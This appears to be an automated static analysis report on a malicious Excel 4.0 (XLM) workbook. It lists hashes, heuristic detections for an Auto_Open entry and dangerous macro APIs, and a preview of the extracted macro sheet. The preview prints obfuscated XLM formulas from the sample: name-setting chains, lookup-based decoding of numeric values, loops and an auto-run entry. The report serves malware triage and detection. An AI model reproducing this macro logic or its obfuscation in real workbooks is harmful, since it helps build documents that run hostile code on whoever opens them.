Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69fa309a6fb6c40b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:57 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 0c89ec028435c137c744a215aeab6fe8 SHA-1: e44fb4a9cca83ec18df316f1f71f7c197d43017a SHA-256: 69fa309a6fb6c40b3d1aab4597c889b8948bad5eca42b9b4ed5b243871fb2de5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6685 bytes
SHA-256: f0ea3daa05d26d5a9e27bbac3df29819bd6e7b274bd56566e1daf47291c79036
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FwbHRqNj
' 0018     26 LABEL : Cell Value, String Constant - ABtOAxpLVFv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D138 
' 0018     20 LABEL : Cell Value, String Constant - gGlko len=0 
' 0018     27 LABEL : Cell Value, String Constant - grxawJlkgLAH len=0 
' 0018     21 LABEL : Cell Value, String Constant - hZPywz len=0 
' 0018     23 LABEL : Cell Value, String Constant - iENawyUA len=0 
' 0018     23 LABEL : Cell Value, String Constant - iITRTRae len=0 
' 0018     21 LABEL : Cell Value, String Constant - IktBci len=0 
' 0018     21 LABEL : Cell Value, String Constant - IrCamZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - kcGhWTK len=0 
' 0018     22 LABEL : Cell Value, String Constant - kmJPWUm len=0 
' 0018     23 LABEL : Cell Value, String Constant - lQfcmKmC len=0 
' 0018     20 LABEL : Cell Value, String Constant - LToTW len=0 
' 0018     24 LABEL : Cell Value, String Constant - MCihJZMLz len=0 
' 0018     21 LABEL : Cell Value, String Constant - MWcVKr len=0 
' 0018     23 LABEL : Cell Value, String Constant - OuTXvqTY len=0 
' 0018     24 LABEL : Cell Value, String Constant - RFaRGOCOG len=0 
' 0018     23 LABEL : Cell Value, String Constant - rUsJSnaO len=0 
' 0018     23 LABEL : Cell Value, String Constant - tHmDqHcG len=0 
' 0018     23 LABEL : Cell Value, String Constant - uOITARcR len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZzGDuW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FwbHRqNj,D47,"SET.NAME("OuTXvqTY",0+VALUE("0"))",""
'  FwbHRqNj,D50,"SET.NAME("iITRTRae",OuTXvqTY)",""
'  FwbHRqNj,D53,"SET.NAME("LToTW",OuTXvqTY)",""
'  FwbHRqNj,T54,"",-887.00000000000000000000
'  FwbHRqNj,T55,"",-29.00000000000000000000
'  FwbHRqNj,T56,"",162.00000000000000000000
'  FwbHRqNj,T57,"",-292.00000000000000000000
'  FwbHRqNj,D58,"SET.NAME("uOITARcR",COUNTA(iENawyUA))",""
'  FwbHRqNj,T58,"",-694.00000000000000000000
'  FwbHRqNj,T59,"",-282.00000000000000000000
'  FwbHRqNj,D60,"SET.NAME("grxawJlkgLAH",COUNTA(IktBci))",""
'  FwbHRqNj,D64,[],""
'  FwbHRqNj,D69,"SET.NAME("hZPywz","")",""
'  FwbHRqNj,D71,"iITRTRae",""
'  FwbHRqNj,D74,"SET.NAME("ZzGDuW",HLOOKUP("*",iENawyUA,iITRTRae,FALSE))",""
'  FwbHRqNj,D79,"MCihJZMLz",""
'  FwbHRqNj,D81,"SET.NAME("rUsJSnaO",OuTXvqTY)",""
'  FwbHRqNj,D86,[],""
'  FwbHRqNj,D89,"rUsJSnaO",""
'  FwbHRqNj,D94,"ABtOAxpLVFv",""
'  FwbHRqNj,D98,"MWcVKr",""
'  FwbHRqNj,D103,"kcGhWTK",""
'  FwbHRqNj,D107,"SET.NAME("RFaRGOCOG",VALUE(HLOOKUP("*",IktBci,kcGhWTK,FALSE)))",""
'  FwbHRqNj,D110,"lQfcmKmC",""
'  FwbHRqNj,D114,"hZPywz",""
'  FwbHRqNj,D116,"LToTW",""
'  FwbHRqNj,D118,NEXT(),""
'  FwbHRqNj,D120,"kmJPWUm",""
'  FwbHRqNj,D124,[],""
'  FwbHRqNj,D127,"IrCamZ",""
'  FwbHRqNj,D130,NEXT(),""
'  FwbHRqNj,D133,RETURN(),""
'  FwbHRqNj,D164,"SET.NAME("gGlko",D47)",""
'  FwbHRqNj,D169,"iENawyUA",""
'  FwbHRqNj,D172,"SET.NAME("IktBci",R84C11)",""
'  FwbHRqNj,D175,"SET.NAME("IrCamZ",184)",""
'  FwbHRqNj,D179,"SET.NAME("tHmDqHcG",4)",""
'  FwbHRqNj,D183,gGlko(),""
'  FwbHRqNj,D184,HALT(),""

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